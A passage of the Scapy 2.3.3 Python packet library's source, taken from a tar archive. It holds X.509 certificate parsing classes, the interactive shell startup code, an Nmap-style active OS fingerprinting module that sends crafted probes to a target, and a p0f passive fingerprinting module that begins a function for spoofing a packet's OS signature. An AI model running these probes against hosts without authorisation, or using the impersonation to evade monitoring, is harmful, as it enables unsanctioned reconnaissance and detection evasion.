type="2.5.4.3", value=ASN1_PRINTABLE_STRING("Scapy Default Subject"))]) ] class X509_Validity(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_CHOICE("not_before", ASN1_UTC_TIME(str(ZuluTime(-600))), ASN1F_UTC_TIME, ASN1F_GENERALIZED_TIME), ASN1F_CHOICE("not_after", ASN1_UTC_TIME(str(ZuluTime(+86400))), ASN1F_UTC_TIME, ASN1F_GENERALIZED_TIME)) attrName_mapping = [ ("countryName" , "C"), ("stateOrProvinceName" , "ST"), ("localityName" , "L"), ("organizationName" , "O"), ("organizationUnitName" , "OU"), ("commonName" , "CN") ] attrName_specials = [name for name, symbol in attrName_mapping] class X509_TBSCertificate(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_optional( ASN1F_enum_INTEGER("version", 0x2, ["v1", "v2", "v3"], explicit_tag=0xa0)), ASN1F_INTEGER("serialNumber", 1), ASN1F_PACKET("signature", X509_AlgorithmIdentifier(), X509_AlgorithmIdentifier), ASN1F_SEQUENCE_OF("issuer", default_issuer, X509_RDN), ASN1F_PACKET("validity", X509_Validity(), X509_Validity), ASN1F_SEQUENCE_OF("subject", default_subject, X509_RDN), ASN1F_PACKET("subjectPublicKeyInfo", X509_SubjectPublicKeyInfo(), X509_SubjectPublicKeyInfo), ASN1F_optional( ASN1F_BIT_STRING("issuerUniqueID", None, implicit_tag=0x81)), ASN1F_optional( ASN1F_BIT_STRING("subjectUniqueID", None, implicit_tag=0x82)), ASN1F_optional( ASN1F_SEQUENCE_OF("extensions", [X509_Extension()], X509_Extension, explicit_tag=0xa3))) def get_issuer(self): attrs = self.issuer attrsDict = {} for attr in attrs: # we assume there is only one name in each rdn ASN1_SET attrsDict[attr.rdn[0].type.oidname] = attr.rdn[0].value.val return attrsDict def get_issuer_str(self): """ Returns a one-line string containing every type/value in a rather specific order. sorted() built-in ensures unicity. """ name_str = "" attrsDict = self.get_issuer() for attrType, attrSymbol in attrName_mapping: if attrType in attrsDict: name_str += "/" + attrSymbol + "=" name_str += attrsDict[attrType] for attrType in sorted(attrsDict): if attrType not in attrName_specials: name_str += "/" + attrType + "=" name_str += attrsDict[attrType] return name_str def get_subject(self): attrs = self.subject attrsDict = {} for attr in attrs: # we assume there is only one name in each rdn ASN1_SET attrsDict[attr.rdn[0].type.oidname] = attr.rdn[0].value.val return attrsDict def get_subject_str(self): name_str = "" attrsDict = self.get_subject() for attrType, attrSymbol in attrName_mapping: if attrType in attrsDict: name_str += "/" + attrSymbol + "=" name_str += attrsDict[attrType] for attrType in sorted(attrsDict): if attrType not in attrName_specials: name_str += "/" + attrType + "=" name_str += attrsDict[attrType] return name_str class ASN1F_X509_CertECDSA(ASN1F_SEQUENCE): def __init__(self, **kargs): seq = [ASN1F_PACKET("tbsCertificate", X509_TBSCertificate(), X509_TBSCertificate), ASN1F_PACKET("signatureAlgorithm", X509_AlgorithmIdentifier(), X509_AlgorithmIdentifier), ASN1F_BIT_STRING_ENCAPS("signatureValue", ECDSASignature(), ECDSASignature)] ASN1F_SEQUENCE.__init__(self, *seq, **kargs) class ASN1F_X509_Cert(ASN1F_SEQUENCE): def __init__(self, **kargs): seq = [ASN1F_PACKET("tbsCertificate", X509_TBSCertificate(), X509_TBSCertificate), ASN1F_PACKET("signatureAlgorithm", X509_AlgorithmIdentifier(), X509_AlgorithmIdentifier), ASN1F_BIT_STRING("signatureValue", "defaultsignature"*2)] ASN1F_SEQUENCE.__init__(self, *seq, **kargs) def m2i(self, pkt, x): c,s = ASN1F_SEQUENCE.m2i(self, pkt, x) sigtype = pkt.fields["signatureAlgorithm"].algorithm.oidname if "rsa" in sigtype.lower(): return c,s elif "ecdsa" in sigtype.lower(): return ASN1F_X509_CertECDSA().m2i(pkt, x) else: raise Exception("could not parse certificate") def dissect(self, pkt, s): c,x = self.m2i(pkt, s) return x def build(self, pkt): if "signatureAlgorithm" in pkt.fields: sigtype = pkt.fields['signatureAlgorithm'].algorithm.oidname else: sigtype = pkt.default_fields["signatureAlgorithm"].algorithm.oidname if "rsa" in sigtype.lower(): return ASN1F_SEQUENCE.build(self, pkt) elif "ecdsa" in sigtype.lower(): pkt.default_fields["signatureValue"] = ECDSASignature() return ASN1F_X509_CertECDSA().build(pkt) else: raise Exception("could not build certificate") class X509_Cert(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_X509_Cert() ####### TBSCertList & CRL ####### class X509_RevokedCertificate(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE(ASN1F_INTEGER("serialNumber", 1), ASN1F_UTC_TIME("revocationDate", str(ZuluTime(+86400))), ASN1F_optional( ASN1F_SEQUENCE_OF("crlEntryExtensions", None, X509_Extension))) class X509_TBSCertList(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_optional( ASN1F_enum_INTEGER("version", 1, ["v1", "v2"])), ASN1F_PACKET("signature", X509_AlgorithmIdentifier(), X509_AlgorithmIdentifier), ASN1F_SEQUENCE_OF("issuer", default_issuer, X509_RDN), ASN1F_UTC_TIME("this_update", str(ZuluTime(-1))), ASN1F_optional( ASN1F_UTC_TIME("next_update", None)), ASN1F_optional( ASN1F_SEQUENCE_OF("revokedCertificates", None, X509_RevokedCertificate)), ASN1F_optional( ASN1F_SEQUENCE_OF("crlExtensions", None, X509_Extension, explicit_tag=0xa0))) def get_issuer(self): attrs = self.issuer attrsDict = {} for attr in attrs: # we assume there is only one name in each rdn ASN1_SET attrsDict[attr.rdn[0].type.oidname] = attr.rdn[0].value.val return attrsDict def get_issuer_str(self): """ Returns a one-line string containing every type/value in a rather specific order. sorted() built-in ensures unicity. """ name_str = "" attrsDict = self.get_issuer() for attrType, attrSymbol in attrName_mapping: if attrType in attrsDict: name_str += "/" + attrSymbol + "=" name_str += attrsDict[attrType] for attrType in sorted(attrsDict): if attrType not in attrName_specials: name_str += "/" + attrType + "=" name_str += attrsDict[attrType] return name_str class ASN1F_X509_CRLECDSA(ASN1F_SEQUENCE): def __init__(self, **kargs): seq = [ASN1F_PACKET("tbsCertList", X509_TBSCertList(), X509_TBSCertList), ASN1F_PACKET("signatureAlgorithm", X509_AlgorithmIdentifier(), X509_AlgorithmIdentifier), ASN1F_BIT_STRING_ENCAPS("signatureValue", ECDSASignature(), ECDSASignature)] ASN1F_SEQUENCE.__init__(self, *seq, **kargs) class ASN1F_X509_CRL(ASN1F_SEQUENCE): def __init__(self, **kargs): seq = [ASN1F_PACKET("tbsCertList", X509_TBSCertList(), X509_TBSCertList), ASN1F_PACKET("signatureAlgorithm", X509_AlgorithmIdentifier(), X509_AlgorithmIdentifier), ASN1F_BIT_STRING("signatureValue", "defaultsignature"*2)] ASN1F_SEQUENCE.__init__(self, *seq, **kargs) def m2i(self, pkt, x): c,s = ASN1F_SEQUENCE.m2i(self, pkt, x) sigtype = pkt.fields["signatureAlgorithm"].algorithm.oidname if "rsa" in sigtype.lower(): return c,s elif "ecdsa" in sigtype.lower(): return ASN1F_X509_CRLECDSA().m2i(pkt, x) else: raise Exception("could not parse certificate") def dissect(self, pkt, s): c,x = self.m2i(pkt, s) return x def build(self, pkt): if "signatureAlgorithm" in pkt.fields: sigtype = pkt.fields['signatureAlgorithm'].algorithm.oidname else: sigtype = pkt.default_fields["signatureAlgorithm"].algorithm.oidname if "rsa" in sigtype.lower(): return ASN1F_SEQUENCE.build(self, pkt) elif "ecdsa" in sigtype.lower(): pkt.default_fields["signatureValue"] = ECDSASignature() return ASN1F_X509_CRLECDSA().build(pkt) else: raise Exception("could not build certificate") class X509_CRL(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_X509_CRL() scapy-2.3.3/scapy/main.py000066400000000000000000000272261300136037300152600ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Main module for interactive startup. """ from __future__ import generators import os,sys import glob import types import gzip import cPickle import __builtin__ from scapy.error import * from scapy import utils def _probe_config_file(cf): cf_path = os.path.join(os.path.expanduser("~"), cf) try: os.stat(cf_path) except OSError: return None else: return cf_path def _read_config_file(cf): log_loading.debug("Loading config file [%s]" % cf) try: execfile(cf) except IOError,e: log_loading.warning("Cannot read config file [%s] [%s]" % (cf,e)) except Exception,e: log_loading.exception("Error during evaluation of config file [%s]" % cf) DEFAULT_PRESTART_FILE = _probe_config_file(".scapy_prestart.py") DEFAULT_STARTUP_FILE = _probe_config_file(".scapy_startup.py") def _usage(): print """Usage: scapy.py [-s sessionfile] [-c new_startup_file] [-p new_prestart_file] [-C] [-P] -C: do not read startup file -P: do not read pre-startup file""" sys.exit(0) from scapy.config import conf from scapy.themes import DefaultTheme ###################### ## Extension system ## ###################### def _load(module): try: mod = __import__(module,globals(),locals(),".") if '__all__' in mod.__dict__: # import listed symbols for name in mod.__dict__['__all__']: __builtin__.__dict__[name] = mod.__dict__[name] else: # only import non-private symbols for name, sym in mod.__dict__.iteritems(): if name[0] != '_': __builtin__.__dict__[name] = sym except Exception,e: log_interactive.error(e) def load_module(name): _load("scapy.modules."+name) def load_layer(name): _load("scapy.layers."+name) def load_contrib(name): try: __import__("scapy.contrib." + name) _load("scapy.contrib." + name) except ImportError: # if layer not found in contrib, try in layers load_layer(name) def list_contrib(name=None): if name is None: name="*.py" elif "*" not in name and "?" not in name and not name.endswith(".py"): name += ".py" name = os.path.join(os.path.dirname(__file__), "contrib", name) for f in glob.glob(name): mod = os.path.basename(f) if mod.startswith("__"): continue if mod.endswith(".py"): mod = mod[:-3] desc = { "description":"-", "status":"?", "name":mod } for l in open(f): p = l.find("scapy.contrib.") if p >= 0: p += 14 q = l.find("=", p) key = l[p:q].strip() value = l[q+1:].strip() desc[key] = value print "%(name)-20s: %(description)-40s status=%(status)s" % desc ############################## ## Session saving/restoring ## ############################## def save_session(fname=None, session=None, pickleProto=-1): if fname is None: fname = conf.session if not fname: conf.session = fname = utils.get_temp_file(keep=True) log_interactive.info("Use [%s] as session file" % fname) if session is None: session = __builtin__.__dict__["scapy_session"] to_be_saved = session.copy() if to_be_saved.has_key("__builtins__"): del(to_be_saved["__builtins__"]) for k in to_be_saved.keys(): if type(to_be_saved[k]) in [types.TypeType, types.ClassType, types.ModuleType]: log_interactive.error("[%s] (%s) can't be saved." % (k, type(to_be_saved[k]))) del(to_be_saved[k]) try: os.rename(fname, fname+".bak") except OSError: pass f=gzip.open(fname,"wb") cPickle.dump(to_be_saved, f, pickleProto) f.close() def load_session(fname=None): if fname is None: fname = conf.session try: s = cPickle.load(gzip.open(fname,"rb")) except IOError: s = cPickle.load(open(fname,"rb")) scapy_session = __builtin__.__dict__["scapy_session"] scapy_session.clear() scapy_session.update(s) def update_session(fname=None): if fname is None: fname = conf.session try: s = cPickle.load(gzip.open(fname,"rb")) except IOError: s = cPickle.load(open(fname,"rb")) scapy_session = __builtin__.__dict__["scapy_session"] scapy_session.update(s) ################ ##### Main ##### ################ def scapy_delete_temp_files(): for f in conf.temp_files: try: os.unlink(f) except: pass def scapy_write_history_file(readline): if conf.histfile: try: readline.write_history_file(conf.histfile) except IOError,e: try: warning("Could not write history to [%s]\n\t (%s)" % (conf.histfile,e)) tmp = utils.get_temp_file(keep=True) readline.write_history_file(tmp) warning("Wrote history to [%s]" % tmp) except: warning("Cound not write history to [%s]. Discarded" % tmp) def interact(mydict=None,argv=None,mybanner=None,loglevel=20): global session import code,sys,os,getopt,re from scapy.config import conf conf.interactive = True if loglevel is not None: conf.logLevel=loglevel console_handler = logging.StreamHandler() console_handler.setFormatter(logging.Formatter("%(levelname)s: %(message)s")) log_scapy.addHandler(console_handler) the_banner = "Welcome to Scapy (%s)" if mybanner is not None: the_banner += "\n" the_banner += mybanner if argv is None: argv = sys.argv import atexit try: import rlcompleter,readline except ImportError: log_loading.info("Can't load Python libreadline or completer") READLINE=0 else: READLINE=1 class ScapyCompleter(rlcompleter.Completer): def global_matches(self, text): matches = [] n = len(text) for lst in [dir(__builtin__), session]: for word in lst: if word[:n] == text and word != "__builtins__": matches.append(word) return matches def attr_matches(self, text): m = re.match(r"(\w+(\.\w+)*)\.(\w*)", text) if not m: return expr, attr = m.group(1, 3) try: object = eval(expr) except: object = eval(expr, session) from scapy.packet import Packet, Packet_metaclass if isinstance(object, Packet) or isinstance(object, Packet_metaclass): words = filter(lambda x: x[0]!="_",dir(object)) words += [x.name for x in object.fields_desc] else: words = dir(object) if hasattr( object,"__class__" ): words = words + rlcompleter.get_class_members(object.__class__) matches = [] n = len(attr) for word in words: if word[:n] == attr and word != "__builtins__": matches.append("%s.%s" % (expr, word)) return matches readline.set_completer(ScapyCompleter().complete) readline.parse_and_bind("C-o: operate-and-get-next") readline.parse_and_bind("tab: complete") session=None session_name="" STARTUP_FILE = DEFAULT_STARTUP_FILE PRESTART_FILE = DEFAULT_PRESTART_FILE iface = None try: opts=getopt.getopt(argv[1:], "hs:Cc:Pp:d") for opt, parm in opts[0]: if opt == "-h": _usage() elif opt == "-s": session_name = parm elif opt == "-c": STARTUP_FILE = parm elif opt == "-C": STARTUP_FILE = None elif opt == "-p": PRESTART_FILE = parm elif opt == "-P": PRESTART_FILE = None elif opt == "-d": conf.logLevel = max(1,conf.logLevel-10) if len(opts[1]) > 0: raise getopt.GetoptError("Too many parameters : [%s]" % " ".join(opts[1])) except getopt.GetoptError, msg: log_loading.error(msg) sys.exit(1) if PRESTART_FILE: _read_config_file(PRESTART_FILE) scapy_builtins = __import__("all",globals(),locals(),".").__dict__ for name, sym in scapy_builtins.iteritems(): if name [0] != '_': __builtin__.__dict__[name] = sym globkeys = scapy_builtins.keys() globkeys.append("scapy_session") scapy_builtins=None # XXX replace with "with" statement if mydict is not None: __builtin__.__dict__.update(mydict) globkeys += mydict.keys() conf.color_theme = DefaultTheme() if STARTUP_FILE: _read_config_file(STARTUP_FILE) if session_name: try: os.stat(session_name) except OSError: log_loading.info("New session [%s]" % session_name) else: try: try: session = cPickle.load(gzip.open(session_name,"rb")) except IOError: session = cPickle.load(open(session_name,"rb")) log_loading.info("Using session [%s]" % session_name) except EOFError: log_loading.error("Error opening session [%s]" % session_name) except AttributeError: log_loading.error("Error opening session [%s]. Attribute missing" % session_name) if session: if "conf" in session: conf.configure(session["conf"]) session["conf"] = conf else: conf.session = session_name session={"conf":conf} else: session={"conf": conf} __builtin__.__dict__["scapy_session"] = session if READLINE: if conf.histfile: try: readline.read_history_file(conf.histfile) except IOError: pass atexit.register(scapy_write_history_file,readline) atexit.register(scapy_delete_temp_files) IPYTHON=False if conf.interactive_shell.lower() == "ipython": try: import IPython IPYTHON=True except ImportError, e: log_loading.warning("IPython not available. Using standard Python shell instead.") IPYTHON=False if IPYTHON: banner = the_banner % (conf.version) + " using IPython %s" % IPython.__version__ # Old way to embed IPython kept for backward compatibility try: args = [''] # IPython command line args (will be seen as sys.argv) ipshell = IPython.Shell.IPShellEmbed(args, banner = banner) ipshell(local_ns=session) except AttributeError, e: pass # In the IPython cookbook, see 'Updating-code-for-use-with-IPython-0.11-and-later' IPython.embed(user_ns=session, banner2=banner) else: code.interact(banner = the_banner % (conf.version), local=session, readfunc=conf.readfunc) if conf.session: save_session(conf.session, session) for k in globkeys: try: del(__builtin__.__dict__[k]) except: pass if __name__ == "__main__": interact() scapy-2.3.3/scapy/modules/000077500000000000000000000000001300136037300154215ustar00rootroot00000000000000scapy-2.3.3/scapy/modules/__init__.py000066400000000000000000000004171300136037300175340ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Package of extension modules that have to be loaded explicitly. """ scapy-2.3.3/scapy/modules/nmap.py000066400000000000000000000150461300136037300167340ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Clone of Nmap's first generation OS fingerprinting. """ import os from scapy.data import KnowledgeBase from scapy.config import conf from scapy.arch import WINDOWS from scapy.error import warning from scapy.layers.inet import IP, TCP, UDP, ICMP, UDPerror, IPerror from scapy.sendrecv import sr if WINDOWS: conf.nmap_base=os.environ["ProgramFiles"] + "\\nmap\\nmap-os-fingerprints" else: conf.nmap_base ="/usr/share/nmap/nmap-os-fingerprints" ###################### ## nmap OS fp stuff ## ###################### class NmapKnowledgeBase(KnowledgeBase): def lazy_init(self): try: f=open(self.filename) except IOError: return self.base = [] name = None try: for l in f: l = l.strip() if not l or l[0] == "#": continue if l[:12] == "Fingerprint ": if name is not None: self.base.append((name,sig)) name = l[12:].strip() sig={} p = self.base continue elif l[:6] == "Class ": continue op = l.find("(") cl = l.find(")") if op < 0 or cl < 0: warning("error reading nmap os fp base file") continue test = l[:op] s = map(lambda x: x.split("="), l[op+1:cl].split("%")) si = {} for n,v in s: si[n] = v sig[test]=si if name is not None: self.base.append((name,sig)) except: self.base = None warning("Can't read nmap database [%s](new nmap version ?)" % self.filename) f.close() nmap_kdb = NmapKnowledgeBase(conf.nmap_base) def TCPflags2str(f): fl="FSRPAUEC" s="" for fli in fl: if f & 1: s = fli + s f >>= 1 return s def nmap_tcppacket_sig(pkt): r = {} if pkt is not None: # r["Resp"] = "Y" r["DF"] = (pkt.flags & 2) and "Y" or "N" r["W"] = "%X" % pkt.window r["ACK"] = pkt.ack==2 and "S++" or pkt.ack==1 and "S" or "O" r["Flags"] = TCPflags2str(pkt.payload.flags) r["Ops"] = "".join(map(lambda x: x[0][0],pkt.payload.options)) else: r["Resp"] = "N" return r def nmap_udppacket_sig(S,T): r={} if T is None: r["Resp"] = "N" else: r["DF"] = (T.flags & 2) and "Y" or "N" r["TOS"] = "%X" % T.tos r["IPLEN"] = "%X" % T.len r["RIPTL"] = "%X" % T.payload.payload.len r["RID"] = S.id == T.payload.payload.id and "E" or "F" r["RIPCK"] = S.chksum == T.getlayer(IPerror).chksum and "E" or T.getlayer(IPerror).chksum == 0 and "0" or "F" r["UCK"] = S.payload.chksum == T.getlayer(UDPerror).chksum and "E" or T.getlayer(UDPerror).chksum ==0 and "0" or "F" r["ULEN"] = "%X" % T.getlayer(UDPerror).len r["DAT"] = T.getlayer(conf.raw_layer) is None and "E" or S.getlayer(conf.raw_layer).load == T.getlayer(conf.raw_layer).load and "E" or "F" return r def nmap_match_one_sig(seen, ref): c = 0 for k, v in seen.iteritems(): if k in ref: if v in ref[k].split("|"): c += 1 if c == 0 and seen.get("Resp") == "N": return 0.7 else: return float(c) / len(seen) def nmap_sig(target, oport=80, cport=81, ucport=1): res = {} tcpopt = [ ("WScale", 10), ("NOP",None), ("MSS", 256), ("Timestamp",(123,0)) ] tests = [ IP(dst=target, id=1)/TCP(seq=1, sport=5001, dport=oport, options=tcpopt, flags="CS"), IP(dst=target, id=1)/TCP(seq=1, sport=5002, dport=oport, options=tcpopt, flags=0), IP(dst=target, id=1)/TCP(seq=1, sport=5003, dport=oport, options=tcpopt, flags="SFUP"), IP(dst=target, id=1)/TCP(seq=1, sport=5004, dport=oport, options=tcpopt, flags="A"), IP(dst=target, id=1)/TCP(seq=1, sport=5005, dport=cport, options=tcpopt, flags="S"), IP(dst=target, id=1)/TCP(seq=1, sport=5006, dport=cport, options=tcpopt, flags="A"), IP(dst=target, id=1)/TCP(seq=1, sport=5007, dport=cport, options=tcpopt, flags="FPU"), IP(str(IP(dst=target)/UDP(sport=5008,dport=ucport)/(300*"i"))) ] ans, unans = sr(tests, timeout=2) ans += map(lambda x: (x,None), unans) for S,T in ans: if S.sport == 5008: res["PU"] = nmap_udppacket_sig(S,T) else: t = "T%i" % (S.sport-5000) if T is not None and T.haslayer(ICMP): warning("Test %s answered by an ICMP" % t) T=None res[t] = nmap_tcppacket_sig(T) return res def nmap_probes2sig(tests): tests=tests.copy() res = {} if "PU" in tests: res["PU"] = nmap_udppacket_sig(*tests["PU"]) del(tests["PU"]) for k in tests: res[k] = nmap_tcppacket_sig(tests[k]) return res def nmap_search(sigs): guess = 0,[] for os,fp in nmap_kdb.get_base(): c = 0.0 for t, v in sigs.itervalues(): if t in fp: c += nmap_match_one_sig(v, fp[t]) c /= len(sigs) if c > guess[0]: guess = c,[ os ] elif c == guess[0]: guess[1].append(os) return guess @conf.commands.register def nmap_fp(target, oport=80, cport=81): """nmap fingerprinting nmap_fp(target, [oport=80,] [cport=81,]) -> list of best guesses with accuracy """ sigs = nmap_sig(target, oport, cport) return nmap_search(sigs) @conf.commands.register def nmap_sig2txt(sig): torder = ["TSeq","T1","T2","T3","T4","T5","T6","T7","PU"] korder = ["Class", "gcd", "SI", "IPID", "TS", "Resp", "DF", "W", "ACK", "Flags", "Ops", "TOS", "IPLEN", "RIPTL", "RID", "RIPCK", "UCK", "ULEN", "DAT" ] txt=[] for i in sig: if i not in torder: torder.append(i) for t in torder: sl = sig.get(t) if sl is None: continue s = [] for k in korder: v = sl.get(k) if v is None: continue s.append("%s=%s"%(k,v)) txt.append("%s(%s)" % (t, "%".join(s))) return "\n".join(txt) scapy-2.3.3/scapy/modules/p0f.py000066400000000000000000000444361300136037300164730ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Clone of p0f passive OS fingerprinting """ import time import struct import os import socket import random from scapy.data import KnowledgeBase from scapy.config import conf from scapy.layers.inet import IP, TCP, TCPOptions from scapy.packet import NoPayload, Packet from scapy.error import warning, Scapy_Exception, log_runtime from scapy.volatile import RandInt, RandByte, RandChoice, RandNum, RandShort, RandString from scapy.sendrecv import sniff if conf.route is None: # unused import, only to initialize conf.route import scapy.route conf.p0f_base ="/etc/p0f/p0f.fp" conf.p0fa_base ="/etc/p0f/p0fa.fp" conf.p0fr_base ="/etc/p0f/p0fr.fp" conf.p0fo_base ="/etc/p0f/p0fo.fp" ############### ## p0f stuff ## ############### # File format (according to p0f.fp) : # # wwww:ttt:D:ss:OOO...:QQ:OS:Details # # wwww - window size # ttt - initial TTL # D - don't fragment bit (0=unset, 1=set) # ss - overall SYN packet size # OOO - option value and order specification # QQ - quirks list # OS - OS genre # details - OS description class p0fKnowledgeBase(KnowledgeBase): def __init__(self, filename): KnowledgeBase.__init__(self, filename) #self.ttl_range=[255] def lazy_init(self): try: f=open(self.filename) except IOError: warning("Can't open base %s" % self.filename) return try: self.base = [] for l in f: if l[0] in ["#","\n"]: continue l = tuple(l.split(":")) if len(l) < 8: continue def a2i(x): if x.isdigit(): return int(x) return x li = map(a2i, l[1:4]) #if li[0] not in self.ttl_range: # self.ttl_range.append(li[0]) # self.ttl_range.sort() self.base.append((l[0], li[0], li[1], li[2], l[4], l[5], l[6], l[7][:-1])) except: warning("Can't parse p0f database (new p0f version ?)") self.base = None f.close() p0f_kdb = p0fKnowledgeBase(conf.p0f_base) p0fa_kdb = p0fKnowledgeBase(conf.p0fa_base) p0fr_kdb = p0fKnowledgeBase(conf.p0fr_base) p0fo_kdb = p0fKnowledgeBase(conf.p0fo_base) def p0f_selectdb(flags): # tested flags: S, R, A if flags & 0x16 == 0x2: # SYN return p0f_kdb elif flags & 0x16 == 0x12: # SYN/ACK return p0fa_kdb elif flags & 0x16 in [ 0x4, 0x14 ]: # RST RST/ACK return p0fr_kdb elif flags & 0x16 == 0x10: # ACK return p0fo_kdb else: return None def packet2p0f(pkt): pkt = pkt.copy() pkt = pkt.__class__(str(pkt)) while pkt.haslayer(IP) and pkt.haslayer(TCP): pkt = pkt.getlayer(IP) if isinstance(pkt.payload, TCP): break pkt = pkt.payload if not isinstance(pkt, IP) or not isinstance(pkt.payload, TCP): raise TypeError("Not a TCP/IP packet") #if pkt.payload.flags & 0x7 != 0x02: #S,!F,!R # raise TypeError("Not a SYN or SYN/ACK packet") db = p0f_selectdb(pkt.payload.flags) #t = p0f_kdb.ttl_range[:] #t += [pkt.ttl] #t.sort() #ttl=t[t.index(pkt.ttl)+1] ttl = pkt.ttl df = (pkt.flags & 2) / 2 ss = len(pkt) # from p0f/config.h : PACKET_BIG = 100 if ss > 100: if db == p0fr_kdb: # p0fr.fp: "Packet size may be wildcarded. The meaning of # wildcard is, however, hardcoded as 'size > # PACKET_BIG'" ss = '*' else: ss = 0 if db == p0fo_kdb: # p0fo.fp: "Packet size MUST be wildcarded." ss = '*' ooo = "" mss = -1 qqT = False qqP = False #qqBroken = False ilen = (pkt.payload.dataofs << 2) - 20 # from p0f.c for option in pkt.payload.options: ilen -= 1 if option[0] == "MSS": ooo += "M" + str(option[1]) + "," mss = option[1] # FIXME: qqBroken ilen -= 3 elif option[0] == "WScale": ooo += "W" + str(option[1]) + "," # FIXME: qqBroken ilen -= 2 elif option[0] == "Timestamp": if option[1][0] == 0: ooo += "T0," else: ooo += "T," if option[1][1] != 0: qqT = True ilen -= 9 elif option[0] == "SAckOK": ooo += "S," ilen -= 1 elif option[0] == "NOP": ooo += "N," elif option[0] == "EOL": ooo += "E," if ilen > 0: qqP = True else: if type(option[0]) is str: ooo += "?%i," % TCPOptions[1][option[0]] else: ooo += "?%i," % option[0] # FIXME: ilen ooo = ooo[:-1] if ooo == "": ooo = "." win = pkt.payload.window if mss != -1: if mss != 0 and win % mss == 0: win = "S" + str(win/mss) elif win % (mss + 40) == 0: win = "T" + str(win/(mss+40)) win = str(win) qq = "" if db == p0fr_kdb: if pkt.payload.flags & 0x10 == 0x10: # p0fr.fp: "A new quirk, 'K', is introduced to denote # RST+ACK packets" qq += "K" # The two next cases should also be only for p0f*r*, but although # it's not documented (or I have not noticed), p0f seems to # support the '0' and 'Q' quirks on any databases (or at the least # "classical" p0f.fp). if pkt.payload.seq == pkt.payload.ack: # p0fr.fp: "A new quirk, 'Q', is used to denote SEQ number # equal to ACK number." qq += "Q" if pkt.payload.seq == 0: # p0fr.fp: "A new quirk, '0', is used to denote packets # with SEQ number set to 0." qq += "0" if qqP: qq += "P" if pkt.id == 0: qq += "Z" if pkt.options != []: qq += "I" if pkt.payload.urgptr != 0: qq += "U" if pkt.payload.reserved != 0: qq += "X" if pkt.payload.ack != 0: qq += "A" if qqT: qq += "T" if db == p0fo_kdb: if pkt.payload.flags & 0x20 != 0: # U # p0fo.fp: "PUSH flag is excluded from 'F' quirk checks" qq += "F" else: if pkt.payload.flags & 0x28 != 0: # U or P qq += "F" if db != p0fo_kdb and not isinstance(pkt.payload.payload, NoPayload): # p0fo.fp: "'D' quirk is not checked for." qq += "D" # FIXME : "!" - broken options segment: not handled yet if qq == "": qq = "." return (db, (win, ttl, df, ss, ooo, qq)) def p0f_correl(x,y): d = 0 # wwww can be "*" or "%nn". "Tnn" and "Snn" should work fine with # the x[0] == y[0] test. d += (x[0] == y[0] or y[0] == "*" or (y[0][0] == "%" and x[0].isdigit() and (int(x[0]) % int(y[0][1:])) == 0)) # ttl d += (y[1] >= x[1] and y[1] - x[1] < 32) for i in [2, 5]: d += (x[i] == y[i] or y[i] == '*') # '*' has a special meaning for ss d += x[3] == y[3] xopt = x[4].split(",") yopt = y[4].split(",") if len(xopt) == len(yopt): same = True for i in xrange(len(xopt)): if not (xopt[i] == yopt[i] or (len(yopt[i]) == 2 and len(xopt[i]) > 1 and yopt[i][1] == "*" and xopt[i][0] == yopt[i][0]) or (len(yopt[i]) > 2 and len(xopt[i]) > 1 and yopt[i][1] == "%" and xopt[i][0] == yopt[i][0] and int(xopt[i][1:]) % int(yopt[i][2:]) == 0)): same = False break if same: d += len(xopt) return d @conf.commands.register def p0f(pkt): """Passive OS fingerprinting: which OS emitted this TCP packet ? p0f(packet) -> accuracy, [list of guesses] """ db, sig = packet2p0f(pkt) if db: pb = db.get_base() else: pb = [] if not pb: warning("p0f base empty.") return [] #s = len(pb[0][0]) r = [] max = len(sig[4].split(",")) + 5 for b in pb: d = p0f_correl(sig,b) if d == max: r.append((b[6], b[7], b[1] - pkt[IP].ttl)) return r def prnp0f(pkt): # we should print which DB we use try: r = p0f(pkt) except: return if r == []: r = ("UNKNOWN", "[" + ":".join(map(str, packet2p0f(pkt)[1])) + ":?:?]", None) else: r = r[0] uptime = None try: uptime = pkt2uptime(pkt) except: pass if uptime == 0: uptime = None res = pkt.sprintf("%IP.src%:%TCP.sport% - " + r[0] + " " + r[1]) if uptime is not None: res += pkt.sprintf(" (up: " + str(uptime/3600) + " hrs)\n -> %IP.dst%:%TCP.dport% (%TCP.flags%)") else: res += pkt.sprintf("\n -> %IP.dst%:%TCP.dport% (%TCP.flags%)") if r[2] is not None: res += " (distance " + str(r[2]) + ")" print res @conf.commands.register def pkt2uptime(pkt, HZ=100): """Calculate the date the machine which emitted the packet booted using TCP timestamp pkt2uptime(pkt, [HZ=100])""" if not isinstance(pkt, Packet): raise TypeError("Not a TCP packet") if isinstance(pkt,NoPayload): raise TypeError("Not a TCP packet") if not isinstance(pkt, TCP): return pkt2uptime(pkt.payload) for opt in pkt.options: if opt[0] == "Timestamp": #t = pkt.time - opt[1][0] * 1.0/HZ #return time.ctime(t) t = opt[1][0] / HZ return t raise TypeError("No timestamp option") def p0f_impersonate(pkt, osgenre=None, osdetails=None, signature=None, extrahops=0, mtu=1500, uptime=None): """Modifies pkt so that p0f will think it has been sent by a specific OS. If osdetails is None, then we randomly pick up a personality matching osgenre. If osgenre and signature are also None, we use a local signature (using p0f_getlocalsigs). If signature is specified (as a tuple), we use the signature. For now, only TCP Syn packets are supported. Some specifications of the p0f.fp file are not (yet) implemented.""" pkt = pkt.copy() #pkt = pkt.__class__(str(pkt)) while pkt.haslayer(IP) and pkt.haslayer(TCP): pkt = pkt.getlayer(IP) if 